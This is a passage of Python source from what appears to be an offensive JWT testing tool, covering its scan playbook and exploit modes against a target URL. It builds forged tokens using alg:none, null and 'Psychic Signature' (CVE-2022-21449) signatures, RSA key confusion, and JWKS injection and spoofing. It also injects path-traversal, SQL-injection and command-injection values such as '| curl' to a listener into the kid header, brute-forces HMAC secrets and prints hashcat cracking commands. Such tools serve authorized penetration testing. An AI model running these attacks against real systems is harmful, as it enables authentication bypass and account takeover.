1229 | cprintc(" [+] "+subclaim+" = false", "green")
1230 | else:
1231 | cprintc(" [+] "+subclaim+" = "+str(paylDict[claim][subclaim]), "green")
1232 | else:
1233 | if type(paylDict[claim]) == str:
1234 | cprintc("["+placeholder+"] "+claim+" = \""+str(paylDict[claim])+"\"", "green")
1235 | else:
1236 | cprintc("["+placeholder+"] "+claim+" = "+str(paylDict[claim]), "green")
1237 | return comparestamps, expiredtoken
1238 |
1239 | def validateToken(jwt):
1240 | try:
1241 | headB64, paylB64, sig = jwt.split(".",3)
1242 | except:
1243 | cprintc("[-] Invalid token:\nNot 3 parts -> header.payload.signature", "red")
1244 | exit(1)
1245 | try:
1246 | sig = base64.urlsafe_b64encode(base64.urlsafe_b64decode(sig + "=" * (-len(sig) % 4))).decode('UTF-8').strip("=")
1247 | except:
1248 | cprintc("[-] Invalid token:\nCould not base64-decode SIGNATURE - incorrect formatting/invalid characters", "red")
1249 | cprintc("----------------", "white")
1250 | cprintc(headB64, "cyan")
1251 | cprintc(paylB64, "cyan")
1252 | cprintc(sig, "red")
1253 | exit(1)
1254 | contents = headB64+"."+paylB64
1255 | contents = contents.encode()
1256 | try:
1257 | head = base64.urlsafe_b64decode(headB64 + "=" * (-len(headB64) % 4))
1258 | except:
1259 | cprintc("[-] Invalid token:\nCould not base64-decode HEADER - incorrect formatting/invalid characters", "red")
1260 | cprintc("----------------", "white")
1261 | cprintc(headB64, "red")
1262 | cprintc(paylB64, "cyan")
1263 | cprintc(sig, "cyan")
1264 | exit(1)
1265 | try:
1266 | payl = base64.urlsafe_b64decode(paylB64 + "=" * (-len(paylB64) % 4))
1267 | except:
1268 | cprintc("[-] Invalid token:\nCould not base64-decode PAYLOAD - incorrect formatting/invalid characters", "red")
1269 | cprintc("----------------", "white")
1270 | cprintc(headB64, "cyan")
1271 | cprintc(paylB64, "red")
1272 | cprintc(sig, "cyan")
1273 | exit(1)
1274 | try:
1275 | headDict = json.loads(head, object_pairs_hook=OrderedDict)
1276 | except:
1277 | cprintc("[-] Invalid token:\nHEADER not valid JSON format", "red")
1278 |
1279 | cprintc(head.decode('UTF-8'), "red")
1280 | exit(1)
1281 | if payl.decode() == "":
1282 | cprintc("Payload is blank", "white")
1283 | paylDict = {}
1284 | else:
1285 | try:
1286 | paylDict = json.loads(payl, object_pairs_hook=OrderedDict)
1287 | except:
1288 | cprintc("[-] Invalid token:\nPAYLOAD not valid JSON format", "red")
1289 | cprintc(payl.decode('UTF-8'), "red")
1290 | exit(1)
1291 | if args.verbose:
1292 | cprintc("Token: "+head.decode()+"."+payl.decode()+"."+sig+"\n", "green")
1293 | return headDict, paylDict, sig, contents
1294 |
1295 | def rejigToken(headDict, paylDict, sig):
1296 | cprintc("=====================\nDecoded Token Values:\n=====================", "white")
1297 | cprintc("\nToken header values:", "white")
1298 | for claim in headDict:
1299 | if isinstance(headDict[claim], dict):
1300 | cprintc("[+] "+claim+" = JSON object:", "green")
1301 | for subclaim in headDict[claim]:
1302 | if headDict[claim][subclaim] == None:
1303 | cprintc(" [+] "+subclaim+" = null", "green")
1304 | elif headDict[claim][subclaim] == True:
1305 | cprintc(" [+] "+subclaim+" = true", "green")
1306 | elif headDict[claim][subclaim] == False:
1307 | cprintc(" [+] "+subclaim+" = false", "green")
1308 | elif type(headDict[claim][subclaim]) == str:
1309 | cprintc(" [+] "+subclaim+" = \""+str(headDict[claim][subclaim])+"\"", "green")
1310 | else:
1311 | cprintc(" [+] "+subclaim+" = "+str(headDict[claim][subclaim]), "green")
1312 | else:
1313 | if type(headDict[claim]) == str:
1314 | cprintc("[+] "+claim+" = \""+str(headDict[claim])+"\"", "green")
1315 | else:
1316 | cprintc("[+] "+claim+" = "+str(headDict[claim]), "green")
1317 | cprintc("\nToken payload values:", "white")
1318 | comparestamps, expiredtoken = dissectPayl(paylDict)
1319 | if len(comparestamps) >= 2:
1320 | cprintc("\nSeen timestamps:", "white")
1321 | cprintc("[*] "+comparestamps[0]+" was seen", "green")
1322 | claimnum = 0
1323 | for claim in comparestamps:
1324 | timeoff = int(paylDict[comparestamps[claimnum]])-int(paylDict[comparestamps[0]])
1325 | if timeoff != 0:
1326 | timecalc = timeoff
1327 | if timecalc < 0:
1328 | timecalc = timecalc*-1
1329 | days,hours,mins = 0,0,0
1330 | if timecalc >= 86400:
1331 | days = str(timecalc/86400)
1332 | days = int(float(days))
1333 | timecalc -= days*86400
1334 | if timecalc >= 3600:
1335 | hours = str(timecalc/3600)
1336 | hours = int(float(hours))
1337 | timecalc -= hours*3600
1338 | if timecalc >= 60:
1339 | mins = str(timecalc/60)
1340 | mins = int(float(mins))
1341 | timecalc -= mins*60
1342 | if timeoff < 0:
1343 | timeoff = timeoff*-1
1344 | prepost = "[*] "+claim+" is earlier than "+comparestamps[0]+" by: "
1345 | cprintc(prepost+str(days)+" days, "+str(hours)+" hours, "+str(mins)+" mins", "green")
1346 | else:
1347 | prepost = "[*] "+claim+" is later than "+comparestamps[0]+" by: "
1348 | cprintc(prepost+str(days)+" days, "+str(hours)+" hours, "+str(mins)+" mins", "green")
1349 | claimnum += 1
1350 | if expiredtoken:
1351 | cprintc("[-] TOKEN IS EXPIRED!", "red")
1352 | cprintc("\n----------------------\nJWT common timestamps:\niat = IssuedAt\nexp = Expires\nnbf = NotBefore\n----------------------\n", "white")
1353 | if args.targeturl and not args.crack and not args.exploit and not args.verify and not args.tamper and not args.sign:
1354 | cprintc("[+] Sending token", "cyan")
1355 | newContents = genContents(headDict, paylDict)
1356 | jwtOut(newContents+"."+sig, "Sending token")
1357 | return headDict, paylDict, sig
1358 |
1359 | def searchLog(logID):
1360 | qResult = ""
1361 | with open(logFilename, 'r') as logFile:
1362 | logLine = logFile.readline()
1363 | while logLine:
1364 | if re.search(r'^'+logID, logLine):
1365 | qResult = logLine
1366 | break
1367 | else:
1368 | logLine = logFile.readline()
1369 | if qResult:
1370 | qOutput = re.sub(r' - eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', '', qResult)
1371 | qOutput = re.sub(logID+' - ', '', qOutput)
1372 | try:
1373 | jwt = re.findall(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', qResult)[-1]
1374 | except:
1375 | cprintc("JWT not included in log", "red")
1376 | exit(1)
1377 | cprintc(logID+"\n"+qOutput, "green")
1378 | cprintc("JWT from request:", "cyan")
1379 | cprintc(jwt, "green")
1380 | # headDict, paylDict, sig, contents = validateToken(jwt)
1381 | # rejigToken(headDict, paylDict, sig)
1382 | return jwt
1383 | else:
1384 | cprintc("ID not found in logfile", "red")
1385 |
1386 | def injectOut(newheadDict, newpaylDict):
1387 | if not args.crack and not args.exploit and not args.verify and not args.tamper and not args.sign:
1388 | desc = "Injected token with unchanged signature"
1389 | jwtOut(newContents+"."+sig, "Injected claim", desc)
1390 | elif args.sign:
1391 | signingToken(newheadDict, newpaylDict)
1392 | else:
1393 | runActions()
1394 |
1395 | def scanModePlaybook():
1396 | cprintc("\nLAUNCHING SCAN: JWT Attack Playbook", "magenta")
1397 | origalg = headDict["alg"]
1398 | # No token
1399 | tmpCookies = config['argvals']['cookies'].replace('%', '%%')
1400 | tmpHeader = config['argvals']['header']
1401 | if config['argvals']['headerloc'] == "cookies":
1402 | config['argvals']['cookies'] = strip_dict_cookies(config['argvals']['cookies'].replace('%', '%%'))
1403 | elif config['argvals']['headerloc'] == "headers":
1404 | config['argvals']['header'] = ""
1405 | config['argvals']['overridesub'] = "true"
1406 | config['argvals']['cookies'] = tmpCookies
1407 | config['argvals']['header'] = tmpHeader
1408 | # Broken sig
1409 | jwtTweak = contents.decode()+"."+sig[:-4]
1410 | jwtOut(jwtTweak, "Broken signature", "This token was sent to check if the signature is being checked")
1411 | # Persistent
1412 | jwtOut(jwt, "Persistence check 1 (should always be valid)", "Original token sent to check if tokens work after invalid submissions")
1413 | # Claim processing order - check reflected output in all claims
1414 | reflectedClaims()
1415 | jwtOut(jwt, "Persistence check 2 (should always be valid)", "Original token sent to check if tokens work after invalid submissions")
1416 | # Weak HMAC secret
1417 | if headDict['alg'][:2] == "HS" or headDict['alg'][:2] == "hs":
1418 | cprintc("Testing "+headDict['alg']+" token against common JWT secrets (jwt-common.txt)", "cyan")
1419 | config['argvals']['keyList'] = "jwt-common.txt"
1420 | crackSig(sig, contents)
1421 | # Exploit: blank password accepted in signature
1422 | key = ""
1423 | newSig, newContents = signTokenHS(headDict, paylDict, key, 256)
1424 | jwtBlankPw = newContents+"."+newSig
1425 | jwtOut(jwtBlankPw, "Exploit: Blank password accepted in signature (-X b)", "This token can exploit a hard-coded blank password in the config")
1426 | # Exploit: Psychic Signature for ECDSA (CVE-2022-21449)
1427 | psySig = checkPsySig(headDict, paylB64)
1428 | jwtOut(psySig, "Exploit: 'Psychic Signature' accepted in ECDSA signing (-X p)", "Testing if the ECDSA signing process can be fooled (CVE-2022-21449)")
1429 | # Exploit: null signature
1430 | jwtNull = checkNullSig(contents)
1431 | jwtOut(jwtNull, "Exploit: Null signature (-X n)", "This token was sent to check if a null signature can bypass checks")
1432 | # Exploit: alg:none
1433 | noneToks = checkAlgNone(headDict, paylB64)
1434 | zippedToks = dict(zip(noneToks, ["\"alg\":\"none\"", "\"alg\":\"None\"", "\"alg\":\"NONE\"", "\"alg\":\"nOnE\""]))
1435 | for noneTok in zippedToks:
1436 | jwtOut(noneTok, "Exploit: "+zippedToks[noneTok]+" (-X a)", "Testing whether the None algorithm is accepted - which allows forging unsigned tokens")
1437 | # Exploit: key confusion - use provided PubKey
1438 | if config['crypto']['pubkey']:
1439 | newTok, newSig = checkPubKeyExploit(headDict, paylB64, config['crypto']['pubkey'])
1440 | jwtOut(newTok+"."+newSig, "Exploit: RSA Key Confusion Exploit (provided Public Key)")
1441 | headDict["alg"] = origalg
1442 | # Exploit: jwks injection
1443 | try:
1444 | origjwk = headDict["jwk"]
1445 | except:
1446 | origjwk = False
1447 | jwksig, jwksContents = jwksEmbed(headDict, paylDict)
1448 | jwtOut(jwksContents+"."+jwksig, "Exploit: Injected JWKS (-X i)")
1449 | headDict["alg"] = origalg
1450 | if origjwk:
1451 | headDict["jwk"] = origjwk
1452 | else:
1453 | del headDict["jwk"]
1454 | # Exploit: spoof jwks
1455 | try:
1456 | origjku = headDict["jku"]
1457 | except:
1458 | origjku = False
1459 | if config['services']['jwksloc']:
1460 | jku = config['services']['jwksloc']
1461 | else:
1462 | jku = config['services']['jwksdynamic']
1463 | newContents, newSig = exportJWKS(jku)
1464 | jwtOut(newContents+"."+newSig, "Exploit: Spoof JWKS (-X s)", "Signed with JWKS at "+jku)
1465 | if origjku:
1466 | headDict["jku"] = origjku
1467 | else:
1468 | del headDict["jku"]
1469 | headDict["alg"] = origalg
1470 | # kid testing... start
1471 | try:
1472 | origkid = headDict["kid"]
1473 | except:
1474 | origkid = False
1475 | # kid inject: blank field, sign with null
1476 | newheadDict, newHeadB64 = injectheaderclaim("kid", "")
1477 | key = open(path+"/null.txt").read()
1478 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256)
1479 | jwtOut(newContents+"."+newSig, "Injected kid claim - null-signed with blank kid")
1480 | # kid inject: path traversal - known path - check for robots.txt, sign with variations of location
1481 | newheadDict, newHeadB64 = injectheaderclaim("kid", "../../../../../../dev/null")
1482 | key = open(path+"/null.txt").read()
1483 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256)
1484 | jwtOut(newContents+"."+newSig, "Injected kid claim - null-signed with kid=\"[path traversal]/dev/null\"")
1485 | newheadDict, newHeadB64 = injectheaderclaim("kid", "/dev/null")
1486 | key = open(path+"/null.txt").read()
1487 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256)
1488 | jwtOut(newContents+"."+newSig, "Injected kid claim - null-signed with kid=\"/dev/null\"")
1489 | # kid inject: path traversal - bad path - sign with null
1490 | newheadDict, newHeadB64 = injectheaderclaim("kid", "/invalid_path")
1491 | key = open(path+"/null.txt").read()
1492 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256)
1493 | jwtOut(newContents+"."+newSig, "Injected kid claim - null-signed with kid=\"/invalid_path\"")
1494 | # kid inject: RCE - sign with null
1495 | newheadDict, newHeadB64 = injectheaderclaim("kid", "|sleep 10")
1496 | key = open(path+"/null.txt").read()
1497 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256)
1498 | jwtOut(newContents+"."+newSig, "Injected kid claim - RCE attempt - SLEEP 10 (did this request pause?)")
1499 | if config['services']['httplistener']:
1500 | injectUrl = config['services']['httplistener']+"/RCE_in_kid"
1501 | newheadDict, newHeadB64 = injectheaderclaim("kid", "| curl "+injectUrl)
1502 | key = open(path+"/null.txt").read()
1503 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256)
1504 | jwtOut(newContents+"."+newSig, "Injected kid claim - RCE attempt - curl "+injectUrl+" (did this URL get accessed?)")
1505 | # kid inject: SQLi explicit value
1506 | newheadDict, newHeadB64 = injectheaderclaim("kid", "x' UNION SELECT '1';--")
1507 | key = "1"
1508 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256)
1509 | jwtOut(newContents+"."+newSig, "Injected kid claim - signed with secret = '1' from SQLi")
1510 | # kid testing... end
1511 | if origkid:
1512 | headDict["kid"] = origkid
1513 | else:
1514 | del headDict["kid"]
1515 | headDict["alg"] = origalg
1516 | # x5u external
1517 | # Force External Interactions
1518 | if config['services']['httplistener']:
1519 | for headerClaim in headDict:
1520 | injectExternalInteractionHeader(config['services']['httplistener']+"/inject_existing_", headerClaim)
1521 | for payloadClaim in paylDict:
1522 | injectExternalInteractionPayload(config['services']['httplistener']+"/inject_existing_", payloadClaim)
1523 | cprintc("External service interactions have been tested - check your listener for interactions", "green")
1524 | else:
1525 | cprintc("External service interactions not tested - enter listener URL into 'jwtconf.ini' to try this option", "red")
1526 | # Accept Common HMAC secret (as alterative signature)
1527 | with open(config['input']['wordlist'], "r", encoding='utf-8', errors='ignore') as commonPassList:
1528 | commonPass = commonPassList.readline().rstrip()
1529 | while commonPass:
1530 | newSig, newContents = signTokenHS(headDict, paylDict, commonPass, 256)
1531 | jwtOut(newContents+"."+newSig, "Checking for alternative accepted HMAC signatures, based on common passwords. Testing: "+commonPass+"", "This token can exploit a hard-coded common password in the config")
1532 | commonPass = commonPassList.readline().rstrip()
1533 | # SCAN COMPLETE
1534 | cprintc("Scanning mode completed: review the above results.\n", "magenta")
1535 | # Further manual testing: check expired token, brute key, find Public Key, run other scans
1536 | cprintc("The following additional checks should be performed that are better tested manually:", "magenta")
1537 | if headDict['alg'][:2] == "HS" or headDict['alg'][:2] == "hs":
1538 | cprintc("[+] Try testing "+headDict['alg'][:2]+" token against weak password configurations by running the following hashcat cracking options:", "green")
1539 | cprintc("(Already testing against passwords in jwt-common.txt)", "cyan")
1540 | cprintc("Try using longer dictionaries, custom dictionaries, mangling rules, or brute force attacks.\nhashcat (https://hashcat.net/hashcat/) is ideal for this as it is highly optimised for speed. Just add your JWT to a text file, then use the following syntax to give you a good start:\n\n[*] dictionary attacks: hashcat -a 0 -m 16500 jwt.txt passlist.txt\n[*] rule-based attack: hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule\n[*] brute-force attack: hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6", "cyan")
1541 | if headDict['alg'][:2] != "HS" and headDict['alg'][:2] != "hs":
1542 | cprintc("[+] Try hunting for a Public Key for this token. Validate any JWKS you find (-V -jw [jwks_file]) and then use the generated Public Key file with the Playbook Scan (-pk [kid_from_jwks].pem)", "green")
1543 | cprintc("Common locations for Public Keys are either the web application's SSL key, or stored as a JWKS file in one of these locations:", "cyan")
1544 | with open('jwks-common.txt', "r", encoding='utf-8', errors='ignore') as jwksLst:
1545 | nextVal = jwksLst.readline().rstrip()
1546 | while nextVal:
1547 | cprintc(nextVal, "cyan")
1548 | nextVal = jwksLst.readline().rstrip()
1549 | try:
1550 | timestamp = datetime.fromtimestamp(int(paylDict['exp']))
1551 | cprintc("[+] Try waiting for the token to expire (\"exp\" value set to: "+timestamp.strftime('%Y-%m-%d %H:%M:%S')+" (UTC))", "green")
1552 | cprintc("Check if still working once expired.", "cyan")
1553 | except:
1554 | pass
1555 |
1556 | def scanModeErrors():
1557 | cprintc("\nLAUNCHING SCAN: Forced Errors", "magenta")
1558 | # Inject dangerous content-types into existing header claims
1559 | injectEachHeader(None)
1560 | injectEachHeader(True)
1561 | injectEachHeader(False)
1562 | injectEachHeader("jwt_tool")
1563 | injectEachHeader(0)
1564 | # Inject dangerous content-types into existing payload claims
1565 | injectEachPayload(None)
1566 | injectEachPayload(True)
1567 | injectEachPayload(False)
1568 | injectEachPayload("jwt_tool")
1569 | injectEachPayload(0)
1570 | cprintc("Scanning mode completed: review the above results.\n", "magenta")
1571 |
1572 | def scanModeCommonClaims():
1573 | cprintc("\nLAUNCHING SCAN: Common Claim Injection", "magenta")
1574 | # Inject external URLs into common claims
1575 | with open(config['input']['commonHeaders'], "r", encoding='utf-8', errors='ignore') as commonHeaders:
1576 | nextHeader = commonHeaders.readline().rstrip()
1577 | while nextHeader:
1578 | injectExternalInteractionHeader(config['services']['httplistener']+"/inject_common_", nextHeader)
1579 | nextHeader = commonHeaders.readline().rstrip()
1580 | with open(config['input']['commonPayloads'], "r", encoding='utf-8', errors='ignore') as commonPayloads:
1581 | nextPayload = commonPayloads.readline().rstrip()
1582 | while nextPayload:
1583 | injectExternalInteractionPayload(config['services']['httplistener']+"/inject_common_", nextPayload)
1584 | nextPayload = commonPayloads.readline().rstrip()
1585 | # Inject dangerous content-types into common claims
1586 | injectCommonClaims(None)
1587 | injectCommonClaims(True)
1588 | injectCommonClaims(False)
1589 | injectCommonClaims("jwt_tool")
1590 | injectCommonClaims(0)
1591 |
1592 | cprintc("Scanning mode completed: review the above results.\n", "magenta")
1593 |
1594 | def injectCommonClaims(contentVal):
1595 | with open(config['input']['commonHeaders'], "r", encoding='utf-8', errors='ignore') as commonHeaders:
1596 | nextHeader = commonHeaders.readline().rstrip()
1597 | while nextHeader:
1598 | origVal = ""
1599 | try:
1600 | origVal = headDict[nextHeader]
1601 | except:
1602 | pass
1603 | headDict[nextHeader] = contentVal
1604 | newContents = genContents(headDict, paylDict)
1605 | jwtOut(newContents+"."+sig, "Injected "+str(contentVal)+" into Common Header Claim: "+str(nextHeader))
1606 | if origVal != "":
1607 | headDict[nextHeader] = origVal
1608 | else:
1609 | del headDict[nextHeader]
1610 | nextHeader = commonHeaders.readline().rstrip()
1611 | with open(config['input']['commonPayloads'], "r", encoding='utf-8', errors='ignore') as commonPayloads:
1612 | nextPayload = commonPayloads.readline().rstrip()
1613 | while nextPayload:
1614 | origVal = ""
1615 | try:
1616 | origVal = paylDict[nextPayload]
1617 | except:
1618 | pass
1619 | paylDict[nextPayload] = contentVal
1620 | newContents = genContents(headDict, paylDict)
1621 | jwtOut(newContents+"."+sig, "Injected "+str(contentVal)+" into Common Payload Claim: "+str(nextPayload))
1622 | if origVal != "":
1623 | paylDict[nextPayload] = origVal
1624 | else:
1625 | del paylDict[nextPayload]
1626 | nextPayload = commonPayloads.readline().rstrip()
1627 |
1628 | def injectEachHeader(contentVal):
1629 | for headerClaim in headDict:
1630 | origVal = headDict[headerClaim]
1631 | headDict[headerClaim] = contentVal
1632 | newContents = genContents(headDict, paylDict)
1633 | jwtOut(newContents+"."+sig, "Injected "+str(contentVal)+" into Header Claim: "+str(headerClaim))
1634 | headDict[headerClaim] = origVal
1635 |
1636 | def injectEachPayload(contentVal):
1637 | for payloadClaim in paylDict:
1638 | origVal = paylDict[payloadClaim]
1639 | paylDict[payloadClaim] = contentVal
1640 | newContents = genContents(headDict, paylDict)
1641 | jwtOut(newContents+"."+sig, "Injected "+str(contentVal)+" into Payload Claim: "+str(payloadClaim))
1642 | paylDict[payloadClaim] = origVal
1643 |
1644 | def injectExternalInteractionHeader(listenerUrl, headerClaim):
1645 | injectUrl = listenerUrl+headerClaim
1646 | origVal = ""
1647 | try:
1648 | origVal = headDict[headerClaim]
1649 | except:
1650 | pass
1651 | headDict[headerClaim] = injectUrl
1652 | newContents = genContents(headDict, paylDict)
1653 | jwtOut(newContents+"."+sig, "Injected "+str(injectUrl)+" into Header Claim: "+str(headerClaim))
1654 | if origVal != "":
1655 | headDict[headerClaim] = origVal
1656 | else:
1657 | del headDict[headerClaim]
1658 |
1659 | def injectExternalInteractionPayload(listenerUrl, payloadClaim):
1660 | injectUrl = listenerUrl+payloadClaim
1661 | origVal = ""
1662 | try:
1663 | origVal = paylDict[payloadClaim]
1664 | except:
1665 | pass
1666 | paylDict[payloadClaim] = injectUrl
1667 | newContents = genContents(headDict, paylDict)
1668 | jwtOut(newContents+"."+sig, "Injected "+str(injectUrl)+" into Payload Claim: "+str(payloadClaim))
1669 | if origVal != "":
1670 | paylDict[payloadClaim] = origVal
1671 | else:
1672 | del paylDict[payloadClaim]
1673 |
1674 | # def kidInjectAttacks():
1675 | # with open(config['argvals']['injectionfile'], "r", encoding='utf-8', errors='ignore') as valLst:
1676 | # nextVal = valLst.readline()
1677 | # while nextVal:
1678 | # newheadDict, newHeadB64 = injectheaderclaim(config['argvals']['headerclaim'], nextVal.rstrip())
1679 | # newContents = genContents(newheadDict, paylDict)
1680 | # jwtOut(newContents+"."+sig, "Injected kid claim", desc)
1681 | # nextVal = valLst.readline()
1682 |
1683 | def reflectedClaims():
1684 | checkVal = "jwt_inject_"+hashlib.md5(datetime.now().strftime('%Y-%m-%d %H:%M:%S').encode()).hexdigest()+"_"
1685 | for claim in paylDict:
1686 | tmpValue = paylDict[claim]
1687 | paylDict[claim] = checkVal+claim
1688 | tmpContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
1689 | jwtOut(tmpContents+"."+sig, "Claim processing check in "+claim+" claim", "Token sent to check if the signature is checked before the "+claim+" claim is processed")
1690 | if checkVal+claim in config['argvals']['rescontent']:
1691 | cprintc("Injected value in "+claim+" claim was observed - "+checkVal+claim, "red")
1692 | paylDict[claim] = tmpValue
1693 |
1694 |
1695 | def preScan():
1696 | cprintc("Running prescan checks...", "cyan")
1697 | jwtOut(jwt, "Prescan: original token", "Prescan: original token")
1698 | if config['argvals']['canaryvalue']:
1699 | if config['argvals']['canaryvalue'] not in config['argvals']['rescontent']:
1700 | cprintc("Canary value ("+config['argvals']['canaryvalue']+") was not found in base request - check that this token is valid and you are still logged in", "red")
1701 | shallWeGoOn = input("Do you wish to continue anyway? (\"Y\" or \"N\")")
1702 | if shallWeGoOn == "N":
1703 | exit(1)
1704 | elif shallWeGoOn == "n":
1705 | exit(1)
1706 | origResSize, origResCode = config['argvals']['ressize'], config['argvals']['rescode']
1707 | jwtOut("null", "Prescan: no token", "Prescan: no token")
1708 | nullResSize, nullResCode = config['argvals']['ressize'], config['argvals']['rescode']
1709 | if config['argvals']['canaryvalue'] == "":
1710 | if origResCode == nullResCode:
1711 | cprintc("Valid and missing token requests return the same Status Code.\nYou should probably specify something from the page that identifies the user is logged-in (e.g. -cv \"Welcome back, ticarpi!\")", "red")
1712 | shallWeGoOn = input("Do you wish to continue anyway? (\"Y\" or \"N\")")
1713 | if shallWeGoOn == "N":
1714 | exit(1)
1715 | elif shallWeGoOn == "n":
1716 | exit(1)
1717 | jwtTweak = contents.decode()+"."+sig[:-4]
1718 | jwtOut(jwtTweak, "Prescan: Broken signature", "This token was sent to check if the signature is being checked")
1719 | jwtOut(jwt, "Prescan: repeat original token", "Prescan: repeat original token")
1720 | if origResCode != config['argvals']['rescode']:
1721 | cprintc("Original token not working after invalid submission. Testing will need to be done manually, re-authenticating after each invalid submission", "red")
1722 | exit(1)
1723 |
1724 |
1725 | def runScanning():
1726 | cprintc("Running Scanning Module:", "cyan")
1727 | preScan()
1728 | if config['argvals']['scanMode'] == "pb":
1729 | scanModePlaybook()
1730 | if config['argvals']['scanMode'] == "er":
1731 | scanModeErrors()
1732 | if config['argvals']['scanMode'] == "cc":
1733 | scanModeCommonClaims()
1734 | if config['argvals']['scanMode'] == "at":
1735 | scanModePlaybook()
1736 | scanModeErrors()
1737 | scanModeCommonClaims()
1738 |
1739 |
1740 | def runExploits():
1741 | if args.exploit:
1742 | if args.exploit == "a":
1743 | noneToks = checkAlgNone(headDict, paylB64)
1744 | zippedToks = dict(zip(noneToks, ["\"alg\":\"none\"", "\"alg\":\"None\"", "\"alg\":\"NONE\"", "\"alg\":\"nOnE\""]))
1745 | for noneTok in zippedToks:
1746 | desc = "EXPLOIT: "+zippedToks[noneTok]+" - this is an exploit targeting the debug feature that allows a token to have no signature\n(This will only be valid on unpatched implementations of JWT.)"
1747 | jwtOut(noneTok, "Exploit: "+zippedToks[noneTok], desc)
1748 | elif args.exploit == "n":
1749 | jwtNull = checkNullSig(contents)
1750 | desc = "EXPLOIT: null signature\n(This will only be valid on unpatched implementations of JWT.)"
1751 | jwtOut(jwtNull, "Exploit: Null signature", desc)
1752 | elif args.exploit == "p":
1753 | jwtPsy = checkPsySig(headDict, paylB64)
1754 | desc = "EXPLOIT: Psychic Signature (CVE-2022-21449)\n(This will only be valid on unpatched implementations of JWT.)"
1755 | jwtOut(jwtPsy, "Exploit: Psychic Signature (CVE-2022-21449)", desc)
1756 | elif args.exploit == "b":
1757 | key = ""
1758 | newSig, newContents = signTokenHS(headDict, paylDict, key, 256)
1759 | jwtBlankPw = newContents+"."+newSig
1760 | desc = "EXPLOIT: Blank password accepted in signature\n(This will only be valid on unpatched implementations of JWT.)"
1761 | jwtOut(jwtBlankPw, "Exploit: Blank password accepted in signature", desc)
1762 | elif args.exploit == "i":
1763 | newSig, newContents = jwksEmbed(headDict, paylDict)
1764 | desc = "EXPLOIT: injected JWKS\n(This will only be valid on unpatched implementations of JWT.)"
1765 | jwtOut(newContents+"."+newSig, "Injected JWKS", desc)
1766 | elif args.exploit == "s":
1767 | if config['services']['jwksloc']:
1768 | jku = config['services']['jwksloc']
1769 | else:
1770 | jku = config['services']['jwksdynamic']
1771 | newContents, newSig = exportJWKS(jku)
1772 | if config['services']['jwksloc'] and config['services']['jwksloc'] == args.jwksurl:
1773 | cprintc("Paste this JWKS into a file at the following location before submitting token request: "+jku+"\n(JWKS file used: "+config['crypto']['jwks']+")\n"+str(config['crypto']['jwks'])+"", "cyan")
1774 | desc = "Signed with JWKS at "+jku
1775 | jwtOut(newContents+"."+newSig, "Spoof JWKS", desc)
1776 | elif args.exploit == "k":
1777 | if config['crypto']['pubkey']:
1778 | newTok, newSig = checkPubKeyExploit(headDict, paylB64, config['crypto']['pubkey'])
1779 | desc = "EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)\n(This will only be valid on unpatched implementations of JWT.)"
1780 | jwtOut(newTok+"."+newSig, "RSA Key Confusion Exploit", desc)
1781 | else:
1782 | cprintc("No Public Key provided (-pk)\n", "red")
1783 | parser.print_usage()
1784 |
1785 | def runActions():
1786 | if args.tamper:
1787 | tamperToken(paylDict, headDict, sig)
1788 | exit(1)
1789 | if args.verify:
1790 | if args.pubkey:
1791 | algType = headDict["alg"][0:2]
1792 | if algType == "RS":
1793 | if args.pubkey:
1794 | verifyTokenRSA(headDict, paylDict, sig, args.pubkey)
1795 | else:
1796 | verifyTokenRSA(headDict, paylDict, sig, config['crypto']['pubkey'])
1797 | exit(1)
1798 | elif algType == "ES":
1799 | if config['crypto']['pubkey']:
1800 | verifyTokenEC(headDict, paylDict, sig, config['crypto']['pubkey'])
1801 | else:
1802 | cprintc("No Public Key provided (-pk)\n", "red")
1803 | parser.print_usage()
1804 | exit(1)
1805 | elif algType == "PS":
1806 | if config['crypto']['pubkey']:
1807 | verifyTokenPSS(headDict, paylDict, sig, config['crypto']['pubkey'])
1808 | else:
1809 | cprintc("No Public Key provided (-pk)\n", "red")
1810 | parser.print_usage()
1811 | exit(1)
1812 | else:
1813 | cprintc("Algorithm not supported for verification", "red")
1814 | exit(1)
1815 | elif args.jwksfile:
1816 | parseJWKS(config['crypto']['jwks'])
1817 | else:
1818 | cprintc("No Public Key or JWKS file provided (-pk/-jw)\n", "red")
1819 | parser.print_usage()
1820 | exit(1)
1821 | runExploits()
1822 | if args.crack:
1823 | if args.password:
1824 | cprintc("Password provided, checking if valid...", "cyan")
1825 | checkSig(sig, contents, config['argvals']['key'])
1826 | elif args.dict:
1827 | crackSig(sig, contents)
1828 | elif args.keyfile:
1829 | checkSigKid(sig, contents)
1830 | else:
1831 | cprintc("No cracking option supplied:\nPlease specify a password/dictionary/Public Key\n", "red")
1832 | parser.print_usage()
1833 | exit(1)
1834 | if args.query and config['argvals']['sigType'] != "":
1835 | signingToken(headDict, paylDict)
1836 |
1837 | def printLogo():
1838 | print()
